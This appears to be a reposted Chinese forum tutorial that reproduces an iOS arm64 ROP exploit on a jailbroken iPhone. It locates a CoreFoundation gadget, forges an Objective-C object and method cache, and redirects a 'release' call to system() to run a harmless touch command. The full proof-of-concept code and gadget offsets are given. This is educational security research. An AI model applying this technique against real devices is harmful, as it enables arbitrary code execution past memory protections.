iOS_arm64下的ROP实践_利用gadget执行system命令
2020-07-15 21:30:27 Author: bbs.pediy.com(查看原文) 阅读量:542 收藏

帮招聘:
奇虎360信息安全部,招聘一位实习生
要求:在校生,211或985院校,具备iOS开发能力,懂iOS逆向最佳
投递简历:[email protected]

本文是根据蒸米大佬的文章《iOS冰与火之歌:Objective-C Pwn and iOS arm64 ROP》做的一个操作实践。
(原文地址:https://bbs.pediy.com/thread-212714.htm)

在实践过程中也遇到一些问题,逐步解决,最终成功实现。

测试环境

越狱设备:iphone5s
手机系统:iOS 8.4,越狱
电脑设备:Macbook Pro
电脑系统:macOS 10.15.1

iOS上使用ROP原理

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在内存中的地址也是随机的。
所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。
虽然在iOS上写ROP非常困难,但有个好消息是虽然program image是随机的,但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的,并且每个进程的dyld_shared_cache都是相同的。

本文实践目标:

伪造objc对象,修改类缓存里的方法指向地址指向一个CoreFoundation库的一个gadget,当方法再次被调用时,跳转到特定的gadget,实现调用 system 进程并在手机的 /tmp 目录下创建一个iceAndFire文件。

1、导出共享缓存文件

dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下:

从手机导出 dyld_shared_cache_arm64 到电脑备用。

从dyld_shared_cachearm64 提取系统库文件:
详细方法见此文:iOS逆向
抽取iOS真机系统库文件
https://mp.weixin.qq.com/s/y2hwD4gPc8eJVBAS_o2DXg

从导出的文件中找到 CoreFoundation 库的二进制文件:

接下来就是从CoreFoundation库的二进制文件中寻找合适gadget。

2、寻找合适的gadget

工具:ROPgadget
命令:ROPgadget --binary /路径/CoreFoundation
打印:

........忽略了很多内容......
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef8c ; br x1 ; ret
.......忽略了很多内容.......

蒸米大神原文中用的gadget是:

ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1

我们从刚才的打印信息中找到一个几乎一样的gadget:

0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1

此gadget的地址是 0x0000000181ccef6c

把CoreFoundation的二进制文件拖入IDA中分析,找到 0x0000000181ccef6c 对应的汇编:

再看一下IDA里CoreFoundation的起始地址:

计算地址偏移量:
0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
0xDEF6C 就是后面要用到的地址偏移量。
这个偏移地址,必须根据你的测试设备中提取的CoreFoundation来计算。

3、根据gadget的汇编,伪造objc对象

#!objc 
struct fake_receiver_t
{
    uint64_t fake_objc_class_ptr;  //长度0x8
    uint8_t pad1[0x70-0x8];    //长度0x68
    uint64_t x0;        //长度0x8
    uint8_t pad2[0x98-0x70-0x8];  //长度0x20
    uint64_t x1;        //长度0x8
    char cmd[1024];      //长度1024
}fake_receiver;

struct fake_objc_class_t {
    char pad[0x10];
    void* cache_buckets_ptr;
    uint32_t cache_bucket_mask;
} fake_objc_class;

struct fake_cache_bucket_t {
    void* cached_sel;
    void* cached_function;
} fake_cache_bucket;

上面伪造的代码中,fake_receiver_t 这个结构体中的元素结构是跟gadget的汇编有关:

汇编"LDR x1,[x0,#0x98]",此时汇编中的x0是 fake_receiver ,所以[x0,#0x98]就是[fake_receiver,#0x98],[fake_receiver,#0x98] 对应的地址就是fake_receiver_t 中的 uint64_t x1; 汇编"LDR x0,[x0,#0x70]"中 [x0,#0x70] 对应 fake_receiver_t 中的 uint64_t x0;
我觉得结构体 fake_receiver_t 中的
uint8_t pad1[0x70-0x8]

uint8_t pad2[0x98-0x70-0x8]
都是起到占空间的作用,为了能匹配gadget汇编中的地址长度,顺利找到想要的值。

4、利用gadget实现system调用

main函数中的代码:

#!objc
int main(void) {

    Talker *talker = [[Talker alloc] init];
    [talker say: @"Hello, Ice and Fire!"];
    [talker say: @"Hello, Ice and Fire!"];
    [talker release];

    //找到 "release" 在内存中的地址
    fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
    NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
    // 获取 CoreFoundation 在手机内存中的起始地址
    uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
    NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);

    //测试机5s_ios8.4的示例:
    //本次测试的gadget是 0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
    //计算gadget在CoreFoundation库中的偏移量: 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
    // CoreFoundation_base + 0xDEF6C 得到 gadget 在内存中的地址,
    // 并赋值给fake_cache_bucket.cached_function,
    // 意思就是 fake_cache_bucket 中 release 方法对应的地址指向gadget
    fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C;

    NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
    // system 将要执行的命令 赋值给 fake_receiver.x0
    fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
    // system 进程地址 赋值给 fake_receiver.x1,gadget中汇编"br x1"可跳转到system
    fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
    NSLog(@"system_address = %p", (void*)fake_receiver.x1);
    // 给 fake_receiver.cmd 赋值
    strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");

    fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
    fake_objc_class.cache_bucket_mask=0;

    fake_receiver.fake_objc_class_ptr=&fake_objc_class;
    // 伪造的对象替换掉原来的 talker
    talker = &fake_receiver;
    // 再次执行 release 方法,就会跳转到 gadget的地址,汇编"br x1"调到system 并以 x0中的fake_receiver.cmd 作为参数
    [talker release];
}

看看代码中的注释,进一步理解整个过程。

最终编译代码,生成ioshello执行程序,把ioshello复制到越狱机上,"chmod +x ioshello"给它添加执行权限,测试执行ioshello结果如下:

手机的/tmp 路径下生成了一个 iceAndFire 文件,ROP利用成功:

本文xcode测试项目源码:
链接: https://pan.baidu.com/s/1EYfV1jir-GKt1OLgab0mfA 密码: md62

蒸米大佬github:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

[赠书活动] 《云计算安全》和《云存储安全实践》上线!老师留下通讯地址,即可获得赠书一套!送100套,送完为止!


文章来源: https://bbs.pediy.com/thread-260703.htm
如有侵权请联系:admin#unsafe.sh